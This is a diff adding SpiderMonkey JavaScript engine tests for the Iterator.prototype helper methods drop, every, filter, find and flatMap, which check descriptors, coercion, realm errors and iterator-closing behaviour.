new file mode 100644
index 0000000000..06c904a21c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.drop.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.drop.name, 'drop');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.drop, 'name');
+assertEq(propertyDescriptor.value, 'drop');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..4c7305ad5c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.every(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: every
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..4af9650ab8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = (value) => value;
+assertEq([true].values().every(fn), true);
+assertEq([1].values().every(fn), true);
+assertEq([[]].values().every(fn), true);
+assertEq([{}].values().every(fn), true);
+assertEq(['test'].values().every(fn), true);
+
+assertEq([false].values().every(fn), false);
+assertEq([0].values().every(fn), false);
+assertEq([''].values().every(fn), false);
+assertEq([null].values().every(fn), false);
+assertEq([undefined].values().every(fn), false);
+assertEq([NaN].values().every(fn), false);
+assertEq([-0].values().every(fn), false);
+assertEq([0n].values().every(fn), false);
+
+const htmlDDA = createIsHTMLDDA();
+assertEq([htmlDDA].values().every(fn), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/descriptor.js b/js/src/tests/non262/Iterator/prototype/every/descriptor.js
new file mode 100644
index 0000000000..e11eca28f3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.every
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'every');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js
new file mode 100644
index 0000000000..7b24a631bb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.every(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.every.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js
new file mode 100644
index 0000000000..6b4328180c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.every(), TypeError);
+assertThrowsInstanceOf(() => iter.every(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.every(null), TypeError);
+assertThrowsInstanceOf(() => iter.every(0), TypeError);
+assertThrowsInstanceOf(() => iter.every(false), TypeError);
+assertThrowsInstanceOf(() => iter.every(''), TypeError);
+assertThrowsInstanceOf(() => iter.every(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.every({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..e3df75e2df
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.every(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/length.js b/js/src/tests/non262/Iterator/prototype/every/length.js
new file mode 100644
index 0000000000..8ef8ecbc7f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.every.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.every, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/name.js b/js/src/tests/non262/Iterator/prototype/every/name.js
new file mode 100644
index 0000000000..7a75da9771
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.every.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.every, 'name');
+assertEq(propDesc.value, 'every');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..56a3dae169
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.every(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/proxy.js b/js/src/tests/non262/Iterator/prototype/every/proxy.js
new file mode 100644
index 0000000000..c3a5b27770
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.every only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+assertEq(iter.every(x => x % 2 == 0), false);
+
+assertEq(
+ log.join('\n'),
+ `get: every
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js b/js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js
new file mode 100644
index 0000000000..894219d29e
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 3, 5].values();
+const fn = (value) => value % 2 == 1;
+
+assertEq(iter.every(fn), true);
+
+assertEq([].values().every(x => x), true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js b/js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js
new file mode 100644
index 0000000000..15b144a4a4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 1;
+};
+
+assertEq(iter.every(fn), false);
+assertEq(log.join(','), '1,2');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js
new file mode 100644
index 0000000000..5796c8524e
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.every.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.every.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.every.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..61fe29b7a1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.every(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..a3d16bcdfa
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+// All truthy values are kept.
+const truthyValues = [true, 1, [], {}, 'test'];
+for (const value of [...truthyValues].values().filter(x => x)) {
+ assertEq(truthyValues.shift(), value);
+}
+
+// All falsy values are filtered out.
+const falsyValues = [false, 0, '', null, undefined, NaN, -0, 0n, createIsHTMLDDA()];
+const result = falsyValues.values().filter(x => x).next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/filter.js b/js/src/tests/non262/Iterator/prototype/filter/filter.js
new file mode 100644
index 0000000000..1d148cb82b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/filter.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let iter = [1, 2, 3].values().filter(x => x % 2);
+
+for (const v of [1, 3]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+
+assertEq(iter.next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/length.js b/js/src/tests/non262/Iterator/prototype/filter/length.js
new file mode 100644
index 0000000000..c1fad91b1d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.filter length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.filter.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.filter, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/name.js b/js/src/tests/non262/Iterator/prototype/filter/name.js
new file mode 100644
index 0000000000..b278220225
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.filter.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.filter.name, 'filter');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.filter, 'name');
+assertEq(propertyDescriptor.value, 'filter');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..0417360cc9
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.find(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: find
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..7818e5a58d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = (value) => value;
+assertEq([true].values().find(fn), true);
+assertEq([1].values().find(fn), 1);
+assertEq(['test'].values().find(fn), 'test');
+
+assertEq([false].values().find(fn), undefined);
+assertEq([0].values().find(fn), undefined);
+assertEq([''].values().find(fn), undefined);
+assertEq([null].values().find(fn), undefined);
+assertEq([undefined].values().find(fn), undefined);
+assertEq([NaN].values().find(fn), undefined);
+assertEq([-0].values().find(fn), undefined);
+assertEq([0n].values().find(fn), undefined);
+
+let array = [];
+assertEq([array].values().find(fn), array);
+
+let object = {};
+assertEq([object].values().find(fn), object);
+
+const htmlDDA = createIsHTMLDDA();
+assertEq([htmlDDA].values().find(fn), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/descriptor.js b/js/src/tests/non262/Iterator/prototype/find/descriptor.js
new file mode 100644
index 0000000000..45699dff85
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.find
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'find');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js
new file mode 100644
index 0000000000..b34408e853
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.find(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.find.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js
new file mode 100644
index 0000000000..33d18b49cc
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.find(), TypeError);
+assertThrowsInstanceOf(() => iter.find(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.find(null), TypeError);
+assertThrowsInstanceOf(() => iter.find(0), TypeError);
+assertThrowsInstanceOf(() => iter.find(false), TypeError);
+assertThrowsInstanceOf(() => iter.find(''), TypeError);
+assertThrowsInstanceOf(() => iter.find(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.find({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..1393bee356
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = (value) => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.find(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/length.js b/js/src/tests/non262/Iterator/prototype/find/length.js
new file mode 100644
index 0000000000..b182ca0e78
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.find.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.find, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/name.js b/js/src/tests/non262/Iterator/prototype/find/name.js
new file mode 100644
index 0000000000..36d903b44c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.find.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.find, 'name');
+assertEq(propDesc.value, 'find');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..13c3195654
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = x => x;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.find(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/proxy.js b/js/src/tests/non262/Iterator/prototype/find/proxy.js
new file mode 100644
index 0000000000..c24d787710
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.find only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+assertEq(iter.find(x => x % 2 == 1), 1);
+
+assertEq(
+ log.join('\n'),
+ `get: find
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js b/js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js
new file mode 100644
index 0000000000..3e7364fa95
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 3, 5].values();
+const fn = (value) => value % 2 == 0;
+
+assertEq(iter.find(fn), undefined);
+
+assertEq([].values().find(x => x), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js b/js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js
new file mode 100644
index 0000000000..8ce7c5a354
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+assertEq(iter.find(fn), 2);
+assertEq(log.join(','), '1,2');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js
new file mode 100644
index 0000000000..8e1d446705
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.find.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.find.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.find.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..23873c618a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.find(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
new file mode 100644
index 0000000000..3a0bfcf167
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator when innerComplete throws.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ iii. Let innerComplete be IteratorComplete(innerNext).
+ iv. IfAbruptCloseIterator(innerComplete, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends Iterator {
+ next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => mapped.next(), TestError);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
